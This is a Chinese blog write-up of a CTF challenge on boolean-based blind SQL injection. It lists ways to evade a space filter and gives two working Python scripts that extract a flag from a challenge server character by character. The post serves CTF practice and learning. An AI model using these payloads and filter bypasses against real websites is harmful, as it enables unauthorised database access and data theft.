记一道布尔注入的题,存在过滤字符。

从题目看应该是一道注入题。提示存在flag表flag列。

输入1和2的返回结果不一样,可能是布尔注入。

简单用万能密码尝试了一下。提示SQL Injection Checked。显然是存在过滤的。FUZZ测试:



好像并没有过滤掉很多的东西。ascii和substr都存在,但是空格被过滤了。

绕过空格的方法:

1、注释绕过

/**/
/*!*/

2、括号绕过

3、HTML编码绕过

常用的URL编码中,会把空格编码成%20,所以通过浏览器发包,进行的URL编码中,空格被编码成%20,而这是属于HTML编码中从 %00 到 %8F的范围,但在HTML编码中,还有一个编码可以取代空格,也就是%a0。

我们这里因为没过滤掉括号我们自己括号绕过空格。

这里应用一下大佬的脚本https://www.cnblogs.com/20175211lyz/p/11435298.html

import string
import requests
import string url = "http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
result = ""
right = "Hello"
for i in range(1,50):
high = 127
low = 32
mid = (low+high) // 2 #找中间数
while high>low:
payload = "if(ascii(substr((select(flag)from(flag)),%s,1))>%s,1,2)"%(i,mid)
date = {"id":payload}
repos = requests.post(url,data=date)
if right in repos.text:
low = mid + 1 #假如返回的字符串中有Hello,即flag的某个字符的ascii码比中间数大,我们要增大中间数
else:
high = mid #假如返回的字符串中没有Hello,即flag的某个字符的ascii码比中间数小,我们要把最大数调整到原来的中间数位置
mid = (low+high) //2
result += chr(int(mid)) #中间数不一定是整数,用int转成整数
print(result)

下面是自己写的。如果有大师傅看到这篇文章,指点一下小弟,下面是自己写的脚本能跑,但是有点问题。

flag{eb683c48e1a849f79d3ff65e693f9551} //自己跑出来的flag
flag{eb683c48-e1a8-49f7-9d3f-f65e693f9551} //别人脚本跑出来的flag,这个是正确的

自己写的脚本跑不出“-”这个字符。其他的字母和数字是一样的。

import requests
import string url="http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
dic = string.digits+string.ascii_letters+"!@#$%^&*()_=+{}-"
result =""
for i in range(1,60):
for each in dic:
payload = "if((ascii(substr((select(flag)from(flag)),%s,1))=ascii('%s')),1,2)"%(i,each)
print(payload)
date = {"id":payload}
rep = requests.post(url=url,data=date)
if "Hello" in rep.text:
print(each)
result += each
print(result)
break
print(result)

最新文章

  1. 安装完ODAC,出现ORA-12560:TNS:协议适配器错误 12541 无监听程序的解决
  2. [转]阿里云配置mysql远程连接
  3. 《linux内核设计与实现》读书笔记第十八章
  4. jquery.util.easyui.dialog
  5. jvm 内存整理 -----学习
  6. HDU 4602 Magic Ball Game(离线处理,树状数组,dfs)
  7. DP总结 ——QPH
  8. C#使用System.Data.SQLite操作SQLite
  9. NET设计模式-单例模式(Singleton Pattern)
  10. Cocos2D实现RPG游戏人物地图行走的跟随效果
  11. Java基础系列--06_抽象类与接口概述
  12. PhpStorm代码编辑区竖线的用途以及如何去掉
  13. Android--小游戏
  14. 百度地图api在Html中显示,在jsp页面中不显示解决方法
  15. css居中小技巧
  16. JUnit-三角形判断测试
  17. BZOJ3730 震波 | 动态点分治
  18. 【Hive学习之一】Hive简介
  19. ASCII字符代码表
  20. JAVA 并发:CLH 锁 与 AbstractQueuedSynchronizer

热门文章

  1. 仅使用JsonUtility和File类实现Json数据读写
  2. yoyogo v1.7.4 发布,支持 grpc v1.3.8 & etcd 3.5.0
  3. 暑假自学java第十一天
  4. Nginx 实践:location 路径匹配
  5. 「AGC023D」 Go Home
  6. 远程连接Linux上的MongoDB服务
  7. kubespray-2.14.2安装kubernetes-1.18.10(ubuntu-20.04.1)
  8. Python开发篇——构建虚拟Python开发环境(Conda+Poetry)
  9. debian9 python环境设置
  10. 2021 NOI冬令营